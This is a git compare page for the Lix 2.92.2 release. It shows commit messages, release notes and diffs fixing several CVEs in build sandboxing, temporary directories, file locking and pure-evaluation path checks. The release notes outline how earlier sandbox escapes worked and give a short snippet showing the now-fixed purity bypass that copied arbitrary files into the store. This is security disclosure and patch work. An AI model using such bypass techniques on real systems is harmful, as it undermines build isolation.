Compare commits

...
34 Commits
Author SHA1 Message Date
Raito Bezarius 21317ce965 release: 2.92.2 "Bombe glacée"
Release produced with releng/create_release.xsh

Change-Id: I43476413ebe28aa60618f24205fdda9a3a92902c
2025-06-24 10:50:36 +00:00
Raito Bezarius b43a289c02 release: release notes for 2.92.2
Release created with releng/create_release.xsh

Change-Id: I9bcc8bec834ebf9b2d0ec9df00a585b610152ba8
2025-06-24 10:50:36 +00:00
Raito Bezarius 2138b0f7e9 version: 2.92.1 -> 2.92.2
Fixes CVE-2025-46415, CVE-2025-46416, CVE-2025-52991, CVE-2025-52992,
and CVE-2025-52993.

Change-Id: Ia73b43abd1cf2d0cfa185938c59d3a836a9eb160
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:50:36 +00:00
Raito Bezarius 2f32368136 libstore/build: automatic clean up of unsuccessfully built scratch outputs
When a build fails, its scratch output paths are not cleaned up.

Until recently, this was deemed not a problem but as part of the effort
to harden the Nix builds and protect these paths against being part of a
staged attack (race conditions, etc.), we automatically cleanup after
failed builds.

Fixes CVE-2025-52992.

Change-Id: I58481b1cc83826298b9d80d37fecf81f117ccb09
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:50:36 +00:00
eldritch horrorsandRaito Bezarius a713c064af libstore: don't default build-dir to temp-dir
if a build directory is accessible to other users it is possible to
smuggle data in and out of build directories. usually this ins only
a build purity problem, but in combination with other issues it can
be used to break out of a build sandbox. to prevent this we default
to using a subdirectory of nixStateDir (which is more restrictive).

Fixes CVE-2025-52991.

Change-Id: Iacfc9b50534de158618c815f9fb99d7dae1be4d0
2025-06-24 10:50:36 +00:00
cba05329ee libstore: use pasta for FODs if available
This allows using a userspace program, pasta, to handle comms between
the build sandbox, and the outside world; allowing for full isolation
including the network namespace, closing the "fixed-output derivation
talks to the host over an abstract domain socket" hole for good.

Fixes CVE-2025-46416.

Co-Authored-By: Puck Meerburg <puck@puckipedia.com>
Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15
2025-06-24 10:50:36 +00:00
eldritch horrors f5f2e1537d libutil: add capability support to runProgram2
launching pasta to not run as root will ambient require capabilities.

Change-Id: I1dd2506a1fa3944a9d9062123ef8a74903c597ea
2025-06-24 10:50:36 +00:00
eldritch horrors 0ea8649445 libutil: add generic redirections runProgram2
explicit stderr redirection makes mergeStderrToStdout unnecessary also.

Change-Id: I63de929e6dc53f6c5ceb2d43c2ce288bfc04d872
2025-06-24 10:50:36 +00:00
eldritch horrors d0678a57f9 libutil: make RunningProgram more useful
make it moveable, make it killable, and add a stdout fd accessor.

Change-Id: I2387cbe8ac67b899a322cd6c7d306ef9ea7abcd0
2025-06-24 10:50:36 +00:00
Raito Bezarius 1d4ddb7e3b libutil: ensure that _deletePath does NOT use absolute paths with dirfds
When calling `_deletePath` with a parent file descriptor, `openat` is
made effective by using relative paths to the directory file descriptor.

To avoid the problem, the signature is changed to resist misuse with an
assert in the prologue of the function.

Fixes CVE-2025-46415.

Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:50:36 +00:00
Raito Bezarius c7867e89f9 libstore: ensure that passAsFile is created in the original temp dir
This ensures that `passAsFile` data is created inside the expected
temporary build directory by `openat()` from the parent directory file
descriptor.

Fixes CVE-2025-52993.

Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:45:29 +00:00
Raito Bezarius deb5150c82 libutil: writeFile variant for file descriptors
`writeFile` lose its `sync` boolean flag to make things simpler.

A new `writeFileAndSync` function is created and all call sites are
converted to it.

Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-23 16:50:44 +02:00
Raito Bezarius 92eb418a59 libstore: chown to builder variant for file descriptors
We use it immediately for the build temporary directory.

Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-23 16:50:44 +02:00
Raito Bezarius 7fceee3ce3 libstore: open build directory as a dirfd as well
We now keep around a proper AutoCloseFD around the temporary directory
which we plan to use for openat operations and avoiding the build
directory being swapped out while we are doing something else.

Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-23 16:50:44 +02:00
Raito Bezarius 31f976dc19 libutil: guess or invent a path from file descriptors
This is useful for certain error recovery paths (no pun intended) that
does not thread through the original path name.

Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-23 16:50:44 +02:00
jadeandLix Systems Gerrit d8db15010d Merge changes I577bdc15,I1c5f7a5c,I75f56c80 into release-2.92
* changes:
  version: 2.92.1
  release-notes: note the flake.lock fix
  libexpr/flake: user friendly error if parsing flake.lock fails
2025-03-17 22:26:40 +00:00
Jade Lovelace 253be7d2ba version: 2.92.1
Change-Id: I577bdc1549e80c0b7621624e2d390153581b3bf2
2025-03-17 12:11:24 -07:00
Jade Lovelace a34e583305 releng: workaround awscli breaking garage by changing checksum algo
CHERRY-PICK: required to release

We use https://garagehq.deuxfleurs.fr for https://docs.lix.systems,
https://releases.lix.systems, https://cache.lix.systems. It's generally
great, but AWS doesn't, erm, care, about other implementations and broke
their client library.

We already ran into
https://git.deuxfleurs.fr/Deuxfleurs/garage/issues/824, which was
mitigated by a garage upgrade to create a new error. These bugs were
what got us:
- https://github.com/boto/boto3/issues/4392
- https://github.com/aws/aws-cli/issues/9214

Error:
upload failed: release/manual/.nojekyll to s3://docs/manual/lix/nightly/.nojekyll An error occurred (InvalidRequest) when calling the PutObject operation: Bad request: invalid checksum algorithm

The missing checksum algorithm is CRC32NVME, with a bug filed here:
https://git.deuxfleurs.fr/Deuxfleurs/garage/issues/963

Change-Id: Ib78a89034bf0f2a6773fc505a347b2aadb775e93
(cherry picked from commit 0f4c5b3b8a)
2025-03-17 19:10:24 +00:00
Rebecca Turnerandjade a8fb008106 releng: use aws s3 sync --delete when uploading manual
CHERRY-PICK: prereq to fixing the aws flags for garage shenanigans

For the user manual, we don't delete things that are missing when doing
aws s3 sync. This doesn't seem wise. If you delete a page in the manual,
it will stay public and visible.

This adds `--delete` to the `aws s3 sync` commands to fix this issue.

Closes #396

Change-Id: I6d7fb97bcdab96c0115d6c66fea0310125207df4
(cherry picked from commit 16df34b295)
2025-03-17 19:09:10 +00:00
Jade Lovelace 32cbb66a69 release-notes: note the flake.lock fix
Change-Id: I1c5f7a5cba12da1bfb2896ffc04ec89862cb346d
2025-03-17 12:06:39 -07:00
giliceandjade 9631e9a30f libexpr/flake: user friendly error if parsing flake.lock fails
CHERRY-PICK: repeated bug reports

Fix: https://git.lix.systems/lix-project/lix/issues/559
Change-Id: I75f56c801d7f16a2e1ef8e702f16f1ef91f7b01f
(cherry picked from commit 68373f8664)
2025-03-17 19:01:23 +00:00
jadeandLix Systems Gerrit 98772c4a3b Merge "Revert "libstore: don't use curl decompression support"" into release-2.92 2025-03-17 18:17:41 +00:00
jadeandLix Systems Gerrit a7fd5c3867 Merge "libexpr: fix checkSourcePath purity regression" into release-2.92 2025-03-17 17:58:29 +00:00
jadeandLix Systems Gerrit 6f3a7bbeb0 Revert "libstore: don't use curl decompression support"
This reverts commit 0d1f794178.

Reason for revert: pennae says it makes the bug more visible, for some unknown reason. See https://git.lix.systems/lix-project/lix/issues/662

Change-Id: I91853cb6645f188a260c4c71cfff4de7bea99feb
2025-03-17 17:56:20 +00:00
eldritch horrorsandjade 0d1f794178 libstore: don't use curl decompression support
it's broken with http2 and transfer flow control. cf fj#662

BACKPORT: due to regression
Change-Id: Iaf6312bfcefa18d168faef47f57481199dd30b8d
2025-03-09 08:39:10 +00:00
Alois Wohlschlager ef5689dc1b libexpr: fix checkSourcePath purity regression
Starting with commit 0dbfa7b26e access would also
be allowed to ancestors of allowed paths. This is (ironically) a significant
purity regression, since several users of the purity checks will themselves
assume that arbitrary descent is allowed. For example, `builtins.readDir` and
`builtins.path` could now refer to the filesystem root, breaking purity
entirely in the latter case by allowing to read arbitrary files. Restore the
previous behaviour of only allowing access to explicitly allowed paths.

Change-Id: Ie64180733ab735da9873255e1ccbf95ba7c9161c
(cherry picked from commit 9d99a7c2cf)
2025-03-04 18:15:15 +01:00
Lunaphiedandjade db55ca9a2e hotfix for releng scripts, fixes #440
Change-Id: I33b29fbf3920a2d4fb53b58db477dff5bf7a1af1
2025-02-21 01:17:44 +00:00
eldritch horrorsandJade Lovelace 4cd618272a libstore: never return from lockFile without a lock
signals could cause lockFile to return without having locked the file.
the garbage collector didn't check for this, and then hilarity ensued.

Change-Id: If86d33595e8bf5510d2b032139342261dc6e07c9
(cherry picked from commit d186064c3d)
2025-02-09 12:54:48 -08:00
eldritch horrorsandJade Lovelace 73f0213500 libstore: split tryLockFile lockFile
lockFile is currently interruptible by signals like SIGCHLD. which
happen a lot in daemons. now imagine that daemon enabled automatic
garbage collection. observe that the local store does not actually
check whether its lock operations have succeeded ... get the idea?

Change-Id: Ibfd7ee786c4fee3add72d4456a7e95e73e09c73e
(cherry picked from commit 79f9c39e36)
2025-02-09 12:54:48 -08:00
eldritch horrorsandJade Lovelace 9c1db3cd8b libstore: extract unlockFile from lockFile
propagating the "unlock" lock type through this high-level api is
nonsense. it doesn't make sense to treat locking and unlocking as
similar operations; unlocking *must* not not interruptible by our
checkInterrupt machinery or it will just leave locks lying around
for a potentially very long time. unlock operations should not be
taking long enough to *want* them interrupted anyway. even on nfs
this makes very little sense because nfs waits *uninterruptibly*.

Change-Id: I10d605c8fe6c651bee64466eee1f8e20251d39f4
(cherry picked from commit aa87c8aa93)
2025-02-09 12:54:48 -08:00
Dusk Banksandeldritch horrors 5fa27057b2 libexpr: fix --debugger --ignore-try
a65e9e5828 did not inform `tryEval` that
(as far as it's concerned) `state.debug` moved to `state.errors.debug`
and changed types. this resulted in the REPL erroneously coming up, that
REPL having a non-debug state, and segfaulting after that REPL exited.

it's probably good that `state.debug` isn't mutated by `--ignore-try`
anymore.

Change-Id: I1918e93edacd626452aa423fc2eb825080738835
Fixes: a65e9e5828 ("libexpr: extract eval error creation into new type")
Signed-off-by: Dusk Banks <me@bb010g.com>
(cherry picked from commit 6a583136b7)
2025-01-31 12:36:14 +00:00
Dusk Banksandeldritch horrors d2b1af70ee doc: add bb010g to change-authors
Change-Id: Iddd3c21b2c42669cec394ac6b80f4e766e4cb81c
Signed-off-by: Dusk Banks <me@bb010g.com>
(cherry picked from commit 050cf17307)
2025-01-31 03:21:44 +00:00
Raito Bezariusandjade 50def3fa73 fix(gc): log sudden "path in use" exceptions and recover during GC gracefully
Original-Author: picnoir <picnoir@alternativebit.fr>

Inspired from
https://github.com/NixOS/nix/pull/11922/commits/ced8d311a593fcf9c3823e4e118474ac132d8e60
and adapted for Lix needs.

TL;DR: The topological sort should ensure that it is possible to delete
the path iterated upon. Nonetheless, in some cases,
`invalidatePathChecked` can still throw `PathInUse`, the exception
bubbles up and cancel the garbage collection procedure, leaving the rest
of the paths untouched. This change ensure that the error is logged for
further investigation but doesn't prevent the GC to continue when it
can.

After code review, we decided to make it a `printInfo` to inform the
user about sudden "in use" dependencies during garbage collection and
let them re-run garbage collection if they care about this.

References: https://github.com/NixOS/nix/issues/11923
References: https://git.lix.systems/lix-project/lix/issues/621
Change-Id: I5606c9afd16b5faa747b713fde2dc24016990ba3
Signed-off-by: Raito Bezarius <raito@lix.systems>
(cherry picked from commit 6a41dae49a)
2025-01-23 06:04:00 +00:00
eldritch horrorsandjade 8e2ab5532c FileTransfer: fix race condition on awaitData
There's a race condition where awaitData could early-return for data
coming from a 404 response or similar and thus not rethrow the exception
that is forthcoming, and a related race during transfer setup (which
could retry a transfer *twice* per retry round).

This would then cause substitution failures like below since the exception
isn't caught in HttpBinaryCacheStore::getFile as intended, but instead
by an exception handler downstream of `drain()` which would error out
the entire operation.

Symptom:

 » nix-build ./docs-service.nix -o "docs-service-result"
error: unable to download 'https://cache.nixos.org/7mr3fy8w66gi5inmf0jkkkl90lxy4jyg.narinfo': HTTP e
rror 404 ()

       response body:

This is kind of a hack in how it is implemented: it assumes that you
can't intentionally be receiving a large unsuccessful response since in
such a case, `awaitData` will wait for finish() to be called to throw an
exception and will never escape until the download finishes, while
continuing to buffer the entire response into memory, which could be bad
if an error response had a large payload.

That said, nobody is sending Lix 1GiB of 404, so meh I guess, and this
is how it is seemingly intended to work. That was a design flaw of the
thing before any of the Lix team got our paws on it.

I tested this by adding _exit(0) inside the expected exception catch and
then running the offending command repeatedly to see if the symptom ever
appeared again, and it did not.

Needs cherry-pick to 2.92 and a 2.92.1 release once reviewed.

Fixes: https://git.lix.systems/lix-project/lix/issues/635
Co-Authored-By: lix@jade.fyi
Change-Id: If54f6eeaad60b5ca9d5b77d4d9232da1d295e7d1
(cherry picked from commit de58cd6e80)
2025-01-22 21:06:58 +00:00
55 changed files with 1085 additions and 422 deletions
+8
View File
@@ -40,6 +40,11 @@ artemist:
display_name: Artemis Tosini display_name: Artemis Tosini
forgejo: artemist forgejo: artemist
bb010g:
display_name: Dusk Banks
forgejo: bb010g
github: bb010g
cole-h: cole-h:
display_name: Cole Helbling display_name: Cole Helbling
github: cole-h github: cole-h
@@ -57,6 +62,9 @@ ericson:
display_name: John Ericson display_name: John Ericson
github: ericson2314 github: ericson2314
gilice:
forgejo: gilice
goldstein: goldstein:
display_name: goldstein display_name: goldstein
forgejo: goldstein forgejo: goldstein
+76
View File
@@ -1,4 +1,80 @@
# Lix 2.92 "Bombe glacée" (2025-01-18) # Lix 2.92 "Bombe glacée" (2025-01-18)
# Lix 2.92.2 (2025-06-23)
## Breaking Changes
- Fixed output derivations can be run using `pasta` network isolation [fj#285](https://git.lix.systems/lix-project/lix/issues/285) [cl/3430](https://gerrit.lix.systems/c/lix/+/3430)
Fixed output derivations traditionally run in the host network namespace.
On Linux this allows such derivations to communicate with other sandboxes
or the host using the abstract Unix domains socket namespace; this hasn't
been unproblematic in the past and has been used in two distinct exploits
to break out of the sandbox. For this reason fixed output derivations can
now run in a network namespace (provided by [`pasta`]), restricted to TCP
and UDP communication with the rest of the world. When enabled this could
be a breaking change and we classify it as such, even though we don't yet
enable or require such isolation by default. We may enforce this in later
releases of Lix once we have sufficient confidence that breakage is rare.
[`pasta`]: https://passt.top/
Many thanks to [eldritch horrors](https://git.lix.systems/pennae) and [puck](https://git.lix.systems/puck) for this.
## Fixes
- Always clean up scratch paths after derivations failed to build [cl/3432](https://gerrit.lix.systems/c/lix/+/3432)
Previously, scratch paths created during builds were not always cleaned up if
the derivation failed, potentially leaving behind unnecessary temporary files
or directories in the Nix store.
This fix ensures that such paths are consistently removed after a failed build,
improving Nix store hygiene, hardening Lix against mis-reuse of failed builds
scratch paths.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
- `build-dir` no longer defaults to `temp-dir` [cl/3431](https://gerrit.lix.systems/c/lix/+/3431)
The directory in which temporary build directories are created no longer defaults
to the value of the `temp-dir` setting to avoid builders making their directories
world-accessible. This behavior has been used to escape the build sandbox and can
cause build impurities even when not used maliciously. We now default to `builds`
in `NIX_STATE_DIR` (which is `/nix/var/nix/builds` in the default configuration).
Many thanks to [eldritch horrors](https://git.lix.systems/pennae) for this.
- Forbid impure path accesses in pure evaluation mode again [cl/2708](https://gerrit.lix.systems/c/lix/+/2708)
Lix 2.92.0 mistakenly started allowing the access to ancestors of allowed paths in pure evaluation mode.
This made it possible to bypass the purity restrictions, for example by copying arbitrary files to the store:
```nix
builtins.path {
path = "/";
filter = …;
}
```
Restore the previous behaviour of prohibiting such impure accesses.
Many thanks to [alois31](https://git.lix.systems/alois31) for this.
- Parsing failures in flake.lock no longer crash Lix [fj#559](https://git.lix.systems/lix-project/lix/issues/559) [cl/2401](https://gerrit.lix.systems/c/lix/+/2401)
Failure to parse `flake.lock` no longer hard-crashes Lix and instead produces a nice error message.
```
error:
… while updating the lock file of flake 'git+file:///Users/jade/lix/lix2'
… while parsing the lock file at /nix/store/mm5dqh8a729yazzj82cjffxl97n5c62s-source//flake.lock
error: [json.exception.parse_error.101] parse error at line 1, column 1: syntax error while parsing value - invalid literal;
last read: '#'
```
Many thanks to [gilice](https://git.lix.systems/gilice) for this.
- Fix `--debugger --ignore-try` [cl/2440](https://gerrit.lix.systems/c/lix/+/2440)
When in debug mode (e.g. from using the `--debugger` flag), enabling [`ignore-try`](@docroot@/command-ref/conf-file.md#conf-ignore-try) once again properly disables debug REPLs within [`builtins.tryEval`](@docroot@/language/builtins.md#builtins-tryEval) calls. Previously, a debug REPL would be started as if `ignore-try` was disabled, but that REPL wouldn't actually be in debug mode, and upon exiting the REPL the evaluating process would segfault.
Many thanks to [Dusk Banks](https://git.lix.systems/bb010g) for this.
# Lix 2.92.0 (2025-01-18) # Lix 2.92.0 (2025-01-18)
+4 -10
View File
@@ -1,4 +1,5 @@
#include <algorithm> #include <algorithm>
#include <chrono>
#include <set> #include <set>
#include <memory> #include <memory>
#include <tuple> #include <tuple>
@@ -23,9 +24,6 @@
namespace nix { namespace nix {
static void handleAlarm(int sig) {
}
std::string escapeUri(std::string uri) std::string escapeUri(std::string uri)
{ {
std::replace(uri.begin(), uri.end(), '/', '_'); std::replace(uri.begin(), uri.end(), '/', '_');
@@ -137,7 +135,7 @@ static int main_build_remote(std::string programName, Strings argv)
while (true) { while (true) {
bestSlotLock.reset(); bestSlotLock.reset();
AutoCloseFD lock = openLockFile(currentLoad + "/main-lock", true); AutoCloseFD lock = openLockFile(currentLoad + "/main-lock", true);
lockFile(lock.get(), ltWrite, true); lockFile(lock.get(), ltWrite);
bool rightType = false; bool rightType = false;
@@ -156,7 +154,7 @@ static int main_build_remote(std::string programName, Strings argv)
uint64_t load = 0; uint64_t load = 0;
for (uint64_t slot = 0; slot < m.maxJobs; ++slot) { for (uint64_t slot = 0; slot < m.maxJobs; ++slot) {
auto slotLock = openSlotLock(m, slot); auto slotLock = openSlotLock(m, slot);
if (lockFile(slotLock.get(), ltWrite, false)) { if (tryLockFile(slotLock.get(), ltWrite)) {
if (!free) { if (!free) {
free = std::move(slotLock); free = std::move(slotLock);
} }
@@ -279,12 +277,8 @@ connected:
{ {
Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri)); Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri));
auto old = signal(SIGALRM, handleAlarm); if (!unsafeLockFileSingleThreaded(uploadLock.get(), ltWrite, std::chrono::minutes(15)))
alarm(15 * 60);
if (!lockFile(uploadLock.get(), ltWrite, true))
printError("somebody is hogging the upload lock for '%s', continuing..."); printError("somebody is hogging the upload lock for '%s', continuing...");
alarm(0);
signal(SIGALRM, old);
} }
auto substitute = settings.buildersUseSubstitutes ? Substitute : NoSubstitute; auto substitute = settings.buildersUseSubstitutes ? Substitute : NoSubstitute;
+2 -2
View File
@@ -250,7 +250,7 @@ void runNix(Path program, const Strings & args)
.program = settings.nixBinDir+ "/" + program, .program = settings.nixBinDir+ "/" + program,
.args = args, .args = args,
.environment = subprocessEnv, .environment = subprocessEnv,
}).wait(); }).waitAndCheck();
return; return;
} }
@@ -672,7 +672,7 @@ ProcessLineResult NixRepl::processLine(std::string line)
// runProgram redirects stdout to a StringSink, // runProgram redirects stdout to a StringSink,
// using runProgram2 to allow editors to display their UI // using runProgram2 to allow editors to display their UI
runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).wait(); runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).waitAndCheck();
// Reload right after exiting the editor if path is not in store // Reload right after exiting the editor if path is not in store
// Store is immutable, so there could be no changes, so there's no need to reload // Store is immutable, so there could be no changes, so there's no need to reload
+4
View File
@@ -459,6 +459,10 @@ retry:
} }
current = std::move(next); current = std::move(next);
} }
// Downstream users (e.g. `builtins.readDir` or `builtins.path`) will want to descend.
if (level && !level->allowAllChildren) {
goto failed;
}
resolvedPaths.insert_or_assign(path_.canonical().abs(), current); resolvedPaths.insert_or_assign(path_.canonical().abs(), current);
return current; return current;
+12 -2
View File
@@ -1,5 +1,7 @@
#include "lix/libexpr/flake/lockfile.hh" #include "lix/libexpr/flake/lockfile.hh"
#include "json-to-value.hh"
#include "lix/libstore/store-api.hh" #include "lix/libstore/store-api.hh"
#include "lix/libutil/error.hh"
#include "lix/libutil/url-parts.hh" #include "lix/libutil/url-parts.hh"
#include <iomanip> #include <iomanip>
@@ -186,8 +188,16 @@ std::string LockFile::to_string() const
LockFile LockFile::read(const Path & path) LockFile LockFile::read(const Path & path)
{ {
if (!pathExists(path)) return LockFile(); if (!pathExists(path)) {
return LockFile(nlohmann::json::parse(readFile(path)), path); return LockFile();
}
try {
return LockFile(nlohmann::json::parse(readFile(path)), path);
} catch (nlohmann::json::parse_error &nlohmann_json_parse_exc) {
auto json_parse_error = JSONParseError(nlohmann_json_parse_exc.what());
json_parse_error.addTrace(nullptr, "while parsing the lock file at %s", path);
throw json_parse_error;
}
} }
std::ostream & operator <<(std::ostream & stream, const LockFile & lockFile) std::ostream & operator <<(std::ostream & stream, const LockFile & lockFile)
+25 -20
View File
@@ -10,6 +10,7 @@
#include "lix/libexpr/json-to-value.hh" #include "lix/libexpr/json-to-value.hh"
#include "lix/libstore/names.hh" #include "lix/libstore/names.hh"
#include "lix/libstore/path-references.hh" #include "lix/libstore/path-references.hh"
#include "lix/libutil/finally.hh"
#include "lix/libutil/processes.hh" #include "lix/libutil/processes.hh"
#include "lix/libstore/store-api.hh" #include "lix/libstore/store-api.hh"
#include "lix/libexpr/value-to-json.hh" #include "lix/libexpr/value-to-json.hh"
@@ -640,29 +641,33 @@ static void prim_tryEval(EvalState & state, const PosIdx pos, Value * * args, Va
{ {
auto attrs = state.ctx.buildBindings(2); auto attrs = state.ctx.buildBindings(2);
std::optional<MaintainCount<int>> trylevel; {
std::unique_ptr<DebugState> savedDebug; std::optional<MaintainCount<int>> trylevel;
if (state.ctx.debug) { DebugState * savedDebug = nullptr;
trylevel.emplace(state.ctx.debug->trylevel); Finally resetDebug([&] {
if (evalSettings.ignoreExceptionsDuringTry) { if (savedDebug) {
/* to prevent starting the repl from exceptions withing a tryEval, null it. */ state.ctx.errors.debug = savedDebug;
savedDebug = std::move(state.ctx.debug); }
});
if (state.ctx.errors.debug != nullptr) {
trylevel.emplace(state.ctx.errors.debug->trylevel);
if (evalSettings.ignoreExceptionsDuringTry) {
/* to prevent starting the repl from exceptions within a tryEval, null it. */
savedDebug = state.ctx.errors.debug;
state.ctx.errors.debug = nullptr;
}
}
try {
state.forceValue(*args[0], pos);
attrs.insert(state.ctx.s.value, args[0]);
attrs.alloc("success").mkBool(true);
} catch (AssertionError & e) {
attrs.alloc(state.ctx.s.value).mkBool(false);
attrs.alloc("success").mkBool(false);
} }
} }
try {
state.forceValue(*args[0], pos);
attrs.insert(state.ctx.s.value, args[0]);
attrs.alloc("success").mkBool(true);
} catch (AssertionError & e) {
attrs.alloc(state.ctx.s.value).mkBool(false);
attrs.alloc("success").mkBool(false);
}
// restore the debugRepl pointer if we saved it earlier.
if (savedDebug)
state.ctx.debug = std::move(savedDebug);
v.mkAttrs(attrs); v.mkAttrs(attrs);
} }
+4 -3
View File
@@ -20,6 +20,7 @@
#include <string.h> #include <string.h>
#include <sys/time.h> #include <sys/time.h>
#include <sys/wait.h> #include <sys/wait.h>
#include <unistd.h>
using namespace std::string_literals; using namespace std::string_literals;
@@ -166,7 +167,7 @@ WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir)
.program = "git", .program = "git",
.args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" }, .args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" },
.environment = env, .environment = env,
.mergeStderrToStdout = true .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
}); });
auto exitCode = WEXITSTATUS(result.first); auto exitCode = WEXITSTATUS(result.first);
auto errorMessage = result.second; auto errorMessage = result.second;
@@ -694,7 +695,7 @@ struct GitInputScheme : InputScheme
auto result = runProgram(RunOptions { auto result = runProgram(RunOptions {
.program = "git", .program = "git",
.args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() }, .args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() },
.mergeStderrToStdout = true .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
}); });
if (WEXITSTATUS(result.first) == 128 if (WEXITSTATUS(result.first) == 128
&& result.second.find("bad file") != std::string::npos) && result.second.find("bad file") != std::string::npos)
@@ -759,7 +760,7 @@ struct GitInputScheme : InputScheme
.args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() }, .args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() },
.captureStdout = true, .captureStdout = true,
}); });
Finally const _wait([&] { proc.wait(); }); Finally const _wait([&] { proc.waitAndCheck(); });
unpackTarfile(*proc.getStdout(), tmpDir); unpackTarfile(*proc.getStdout(), tmpDir);
} }
+2 -2
View File
@@ -988,9 +988,9 @@ void runPostBuildHook(
.program = settings.postBuildHook, .program = settings.postBuildHook,
.environment = hookEnvironment, .environment = hookEnvironment,
.captureStdout = true, .captureStdout = true,
.mergeStderrToStdout = true, .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
}); });
Finally const _wait([&] { proc.wait(); }); Finally const _wait([&] { proc.waitAndCheck(); });
// FIXME just process the data, without a wrapper sink class // FIXME just process the data, without a wrapper sink class
proc.getStdout()->drainInto(sink); proc.getStdout()->drainInto(sink);
+103 -12
View File
@@ -10,6 +10,9 @@
#include "lix/libstore/path-references.hh" #include "lix/libstore/path-references.hh"
#include "lix/libutil/archive.hh" #include "lix/libutil/archive.hh"
#include "lix/libstore/daemon.hh" #include "lix/libstore/daemon.hh"
#include "lix/libutil/file-descriptor.hh"
#include "lix/libutil/file-system.hh"
#include "lix/libutil/result.hh"
#include "lix/libutil/topo-sort.hh" #include "lix/libutil/topo-sort.hh"
#include "lix/libutil/json-utils.hh" #include "lix/libutil/json-utils.hh"
#include "lix/libutil/cgroup.hh" #include "lix/libutil/cgroup.hh"
@@ -20,6 +23,7 @@
#include "lix/libutil/mount.hh" #include "lix/libutil/mount.hh"
#include "lix/libutil/strings.hh" #include "lix/libutil/strings.hh"
#include "lix/libutil/thread-name.hh" #include "lix/libutil/thread-name.hh"
#include "platform/linux.hh"
#include <regex> #include <regex>
#include <queue> #include <queue>
@@ -389,9 +393,13 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeCheck()
void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck() void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck()
{ {
/* Delete unused redirected outputs (when doing hash rewriting). */ /* In the past, redirected outputs were manually tracked for deletion.
for (auto & i : redirectedOutputs) * Now that we have the scratch outputs cleaner which are a superset of
deletePath(worker.store.Store::toRealPath(i.second)); * redirected outputs, we just fire all uncancelled automatic deleters now.
*
* This should clean up any paths that IS NOT registered in the database.
*/
scratchOutputsCleaner.clear();
/* Delete the chroot (if we were using one). */ /* Delete the chroot (if we were using one). */
autoDelChroot.reset(); /* this runs the destructor */ autoDelChroot.reset(); /* this runs the destructor */
@@ -480,11 +488,24 @@ kj::Promise<Outcome<void, Goal::WorkResult>> LocalDerivationGoal::startBuilder()
}); });
} }
createDirs(settings.buildDir.get());
/* Create a temporary directory where the build will take /* Create a temporary directory where the build will take
place. */ place. */
tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); tmpDir = createTempDir(
settings.buildDir.get(),
"nix-build-" + std::string(drvPath.name()),
false,
false,
0700
);
/* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
* POSIX semantics.*/
tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
if (!tmpDirFd)
throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
chownToBuilder(tmpDir); chownToBuilder(tmpDirFd);
for (auto & [outputName, status] : initialOutputs) { for (auto & [outputName, status] : initialOutputs) {
/* Set scratch path we'll actually use during the build. /* Set scratch path we'll actually use during the build.
@@ -515,6 +536,10 @@ kj::Promise<Outcome<void, Goal::WorkResult>> LocalDerivationGoal::startBuilder()
to use a temporary path */ to use a temporary path */
makeFallbackPath(status.known->path); makeFallbackPath(status.known->path);
scratchOutputs.insert_or_assign(outputName, scratchPath); scratchOutputs.insert_or_assign(outputName, scratchPath);
/* Schedule this scratch output path for automatic deletion
* if we do not cancel it, e.g. when registering the outputs.
*/
scratchOutputsCleaner.insert_or_assign(outputName, worker.store.printStorePath(scratchPath));
/* Substitute output placeholders with the scratch output paths. /* Substitute output placeholders with the scratch output paths.
We'll use during the build. */ We'll use during the build. */
@@ -537,8 +562,6 @@ kj::Promise<Outcome<void, Goal::WorkResult>> LocalDerivationGoal::startBuilder()
std::string h2 { scratchPath.hashPart() }; std::string h2 { scratchPath.hashPart() };
inputRewrites[h1] = h2; inputRewrites[h1] = h2;
} }
redirectedOutputs.insert_or_assign(std::move(fixedFinalPath), std::move(scratchPath));
} }
/* Construct the environment passed to the builder. */ /* Construct the environment passed to the builder. */
@@ -828,8 +851,13 @@ void LocalDerivationGoal::initTmpDir() {
auto hash = hashString(HashType::SHA256, i.first); auto hash = hashString(HashType::SHA256, i.first);
